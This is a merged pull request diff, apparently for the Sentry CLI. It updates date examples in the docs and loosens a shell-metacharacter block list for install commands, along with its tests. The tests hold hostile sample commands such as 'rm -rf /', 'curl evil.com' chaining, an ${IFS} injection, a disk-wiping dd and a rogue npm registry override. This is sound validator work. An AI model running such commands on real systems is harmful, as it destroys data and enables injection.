Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion docs/src/content/docs/commands/dashboard.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ View a dashboard
| `-w, --web` | Open in browser |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
| `-r, --refresh <refresh>` | Auto-refresh interval in seconds (default: 60, min: 10) |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" |

### `sentry dashboard create <org/project/title...>`

Expand Down
2 changes: 1 addition & 1 deletion docs/src/content/docs/commands/event.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ List events for an issue
| `-n, --limit <limit>` | Number of events (1-1000) (default: "25") |
| `-q, --query <query>` | Search query (Sentry search syntax) |
| `--full` | Include full event body (stacktraces) |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
| `-c, --cursor <cursor>` | Navigate pages: "next", "prev", "first" (or raw cursor string) |

Expand Down
4 changes: 2 additions & 2 deletions docs/src/content/docs/commands/issue.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ List issues in a project
| `-q, --query <query>` | Search query (Sentry search syntax) |
| `-n, --limit <limit>` | Maximum number of issues to list (default: "25") |
| `-s, --sort <sort>` | Sort by: date, new, freq, user (default: "date") |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "90d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "90d") |
| `-c, --cursor <cursor>` | Pagination cursor (use "next" for next page, "prev" for previous) |
| `--compact` | Single-line rows for compact output (auto-detects if omitted) |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
Expand All @@ -46,7 +46,7 @@ List events for a specific issue
| `-n, --limit <limit>` | Number of events (1-1000) (default: "25") |
| `-q, --query <query>` | Search query (Sentry search syntax) |
| `--full` | Include full event body (stacktraces) |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
| `-c, --cursor <cursor>` | Navigate pages: "next", "prev", "first" (or raw cursor string) |

Expand Down
2 changes: 1 addition & 1 deletion docs/src/content/docs/commands/log.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ List logs from a project
| `-n, --limit <limit>` | Number of log entries (1-1000) (default: "100") |
| `-q, --query <query>` | Filter query (Sentry search syntax) |
| `-f, --follow <follow>` | Stream logs (optionally specify poll interval in seconds) |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" |
| `-s, --sort <sort>` | Sort order: "newest" (default) or "oldest" (default: "newest") |
| `--fresh` | Bypass cache, re-detect projects, and fetch fresh data |

Expand Down
2 changes: 1 addition & 1 deletion docs/src/content/docs/commands/span.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ List spans in a project or trace
| `-n, --limit <limit>` | Number of spans (<=1000) (default: "25") |
| `-q, --query <query>` | Filter spans (e.g., "op:db", "duration:>100ms", "project:backend") |
| `-s, --sort <sort>` | Sort order: date, duration (default: "date") |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
| `-c, --cursor <cursor>` | Navigate pages: "next", "prev", "first" (or raw cursor string) |

Expand Down
4 changes: 2 additions & 2 deletions docs/src/content/docs/commands/trace.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ List recent traces in a project
| `-n, --limit <limit>` | Number of traces (1-1000) (default: "25") |
| `-q, --query <query>` | Search query (Sentry search syntax) |
| `-s, --sort <sort>` | Sort by: date, duration (default: "date") |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") |
| `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data |
| `-c, --cursor <cursor>` | Navigate pages: "next", "prev", "first" (or raw cursor string) |

Expand Down Expand Up @@ -61,7 +61,7 @@ View logs associated with a trace
| Option | Description |
|--------|-------------|
| `-w, --web` | Open trace in browser |
| `-t, --period <period>` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "14d") |
| `-t, --period <period>` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "14d") |
| `-n, --limit <limit>` | Number of log entries (<=1000) (default: "100") |
| `-q, --query <query>` | Additional filter query (Sentry search syntax) |
| `-s, --sort <sort>` | Sort order: "newest" (default) or "oldest" (default: "newest") |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ View a dashboard
- `-w, --web - Open in browser`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
- `-r, --refresh <value> - Auto-refresh interval in seconds (default: 60, min: 10)`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08"`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09"`

**Examples:**

Expand Down
2 changes: 1 addition & 1 deletion plugins/sentry-cli/skills/sentry-cli/references/event.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ List events for an issue
- `-n, --limit <value> - Number of events (1-1000) - (default: "25")`
- `-q, --query <value> - Search query (Sentry search syntax)`
- `--full - Include full event body (stacktraces)`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
- `-c, --cursor <value> - Navigate pages: "next", "prev", "first" (or raw cursor string)`

Expand Down
4 changes: 2 additions & 2 deletions plugins/sentry-cli/skills/sentry-cli/references/issue.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ List issues in a project
- `-q, --query <value> - Search query (Sentry search syntax)`
- `-n, --limit <value> - Maximum number of issues to list - (default: "25")`
- `-s, --sort <value> - Sort by: date, new, freq, user - (default: "date")`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "90d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "90d")`
- `-c, --cursor <value> - Pagination cursor (use "next" for next page, "prev" for previous)`
- `--compact - Single-line rows for compact output (auto-detects if omitted)`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
Expand Down Expand Up @@ -78,7 +78,7 @@ List events for a specific issue
- `-n, --limit <value> - Number of events (1-1000) - (default: "25")`
- `-q, --query <value> - Search query (Sentry search syntax)`
- `--full - Include full event body (stacktraces)`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
- `-c, --cursor <value> - Navigate pages: "next", "prev", "first" (or raw cursor string)`

Expand Down
2 changes: 1 addition & 1 deletion plugins/sentry-cli/skills/sentry-cli/references/log.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ List logs from a project
- `-n, --limit <value> - Number of log entries (1-1000) - (default: "100")`
- `-q, --query <value> - Filter query (Sentry search syntax)`
- `-f, --follow <value> - Stream logs (optionally specify poll interval in seconds)`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08"`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09"`
- `-s, --sort <value> - Sort order: "newest" (default) or "oldest" - (default: "newest")`
- `--fresh - Bypass cache, re-detect projects, and fetch fresh data`

Expand Down
2 changes: 1 addition & 1 deletion plugins/sentry-cli/skills/sentry-cli/references/span.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ List spans in a project or trace
- `-n, --limit <value> - Number of spans (<=1000) - (default: "25")`
- `-q, --query <value> - Filter spans (e.g., "op:db", "duration:>100ms", "project:backend")`
- `-s, --sort <value> - Sort order: date, duration - (default: "date")`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
- `-c, --cursor <value> - Navigate pages: "next", "prev", "first" (or raw cursor string)`

Expand Down
4 changes: 2 additions & 2 deletions plugins/sentry-cli/skills/sentry-cli/references/trace.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ List recent traces in a project
- `-n, --limit <value> - Number of traces (1-1000) - (default: "25")`
- `-q, --query <value> - Search query (Sentry search syntax)`
- `-s, --sort <value> - Sort by: date, duration - (default: "date")`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")`
- `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data`
- `-c, --cursor <value> - Navigate pages: "next", "prev", "first" (or raw cursor string)`

Expand Down Expand Up @@ -78,7 +78,7 @@ View logs associated with a trace

**Flags:**
- `-w, --web - Open trace in browser`
- `-t, --period <value> - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "14d")`
- `-t, --period <value> - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "14d")`
- `-n, --limit <value> - Number of log entries (<=1000) - (default: "100")`
- `-q, --query <value> - Additional filter query (Sentry search syntax)`
- `-s, --sort <value> - Sort order: "newest" (default) or "oldest" - (default: "newest")`
Expand Down
29 changes: 10 additions & 19 deletions src/lib/init/local-ops.ts
Original file line number Diff line number Diff line change
Expand Up @@ -96,40 +96,31 @@ function prettyPrintJson(content: string, indent: JsonIndent): string {
}

/**
* Shell metacharacters that enable chaining, piping, substitution, or redirection.
* All legitimate install commands are simple single commands that don't need these.
* Patterns that indicate shell injection. Commands run via `spawn` (no shell),
* so these have no runtime effect — they are defense-in-depth against command
* chaining, piping, redirection, and command substitution.
*
* Ordering matters for error-message accuracy (not correctness): multi-character
* operators like `&&` and `||` are checked before their single-character prefixes
* (`&`, `|`) so the reported label describes the actual construct the user wrote.
* Characters that are harmless without a shell — quotes, braces, globs,
* parentheses, backslashes, bare `$`, `#` — are intentionally NOT blocked.
* They appear in legitimate package specifiers like
* `pip install sentry-sdk[django]` or version ranges with `*`.
*
* Ordering: multi-char operators (`&&`, `||`) before single-char prefixes
* (`&`, `|`) so the reported label describes what the user actually wrote.
*/
const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> =
[
{ pattern: ";", label: "command chaining (;)" },
// Check multi-char operators before single `|` / `&` so labels are accurate
{ pattern: "&&", label: "command chaining (&&)" },
{ pattern: "||", label: "command chaining (||)" },
{ pattern: "|", label: "piping (|)" },
{ pattern: "&", label: "background execution (&)" },
{ pattern: "`", label: "command substitution (`)" },
{ pattern: "$(", label: "command substitution ($()" },
{ pattern: "(", label: "subshell/grouping (()" },
{ pattern: ")", label: "subshell/grouping ())" },
{ pattern: "$", label: "variable/command expansion ($)" },
{ pattern: "'", label: "single quote (')" },
{ pattern: '"', label: 'double quote (")' },
{ pattern: "\\", label: "backslash escape (\\)" },
{ pattern: "\n", label: "newline" },
{ pattern: "\r", label: "carriage return" },
{ pattern: ">", label: "redirection (>)" },
{ pattern: "<", label: "redirection (<)" },
// Glob and brace expansion — brace expansion is the real risk
// (e.g. `npm install {evil,@sentry/node}`)
{ pattern: "{", label: "brace expansion ({)" },
{ pattern: "}", label: "brace expansion (})" },
{ pattern: "*", label: "glob expansion (*)" },
{ pattern: "?", label: "glob expansion (?)" },
{ pattern: "#", label: "shell comment (#)" },
];

const WHITESPACE_RE = /\s+/;
Expand Down
60 changes: 18 additions & 42 deletions test/lib/init/local-ops.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,22 @@ describe("validateCommand", () => {
}
});

test("blocks shell metacharacters", () => {
test("allows shell-harmless characters that appear in package specifiers", () => {
for (const cmd of [
'pip install "sentry-sdk[django]"',
"pip install 'sentry-sdk[flask]'",
"npm install sentry-sdk@*",
"npm install sentry-?.js",
"npm install {evil,@sentry/node}",
"npm install evil-pkg#benign",
"npm install foo\\bar",
"(echo test)",
]) {
expect(validateCommand(cmd)).toBeUndefined();
}
});

test("blocks shell injection patterns", () => {
for (const cmd of [
"npm install foo; rm -rf /",
"npm install foo && curl evil.com",
Expand All @@ -74,43 +89,6 @@ describe("validateCommand", () => {
}
});

test("blocks subshell bypass via parentheses", () => {
for (const cmd of ["(rm -rf .)", "(curl evil.com)"]) {
expect(validateCommand(cmd)).toContain("Blocked command");
}
});

test("blocks shell escape bypass attempts", () => {
for (const cmd of [
"npm install foo$'\\x3b'whoami",
// biome-ignore lint/suspicious/noTemplateCurlyInString: testing literal ${IFS} in command string
"npm install foo${IFS}curl evil.com",
"npm install foo\\nwhoami",
"echo 'hello'",
]) {
expect(validateCommand(cmd)).toContain("Blocked command");
}
});

test("blocks glob and brace expansion characters", () => {
for (const cmd of [
"npm install {evil,@sentry/node}",
"npm install sentry-*",
"npm install sentry-?.js",
]) {
expect(validateCommand(cmd)).toContain("Blocked command");
}
});

test("blocks shell comment character to prevent command truncation", () => {
for (const cmd of [
"npm install evil-pkg # @sentry/node",
"npm install evil-pkg#benign",
]) {
expect(validateCommand(cmd)).toContain("Blocked command");
}
});

test("blocks environment variable injection in first token", () => {
for (const cmd of [
"npm_config_registry=http://evil.com npm install @sentry/node",
Expand All @@ -130,8 +108,8 @@ describe("validateCommand", () => {
"kill -9 1",
"dd if=/dev/zero of=/dev/sda",
"ssh user@host",
"bash -c 'echo hello'",
"sh -c 'echo hello'",
"bash -c echo",
"sh -c echo",
"env npm install foo",
"xargs rm",
]) {
Expand All @@ -140,13 +118,11 @@ describe("validateCommand", () => {
});

test("resolves path-prefixed executables", () => {
// Safe executables with paths pass
expect(
validateCommand("./venv/bin/pip install sentry-sdk")
).toBeUndefined();
expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined();

// Dangerous executables with paths are still blocked
expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"');
expect(validateCommand("/usr/bin/curl https://evil.com")).toContain(
'"curl"'
Expand Down
Loading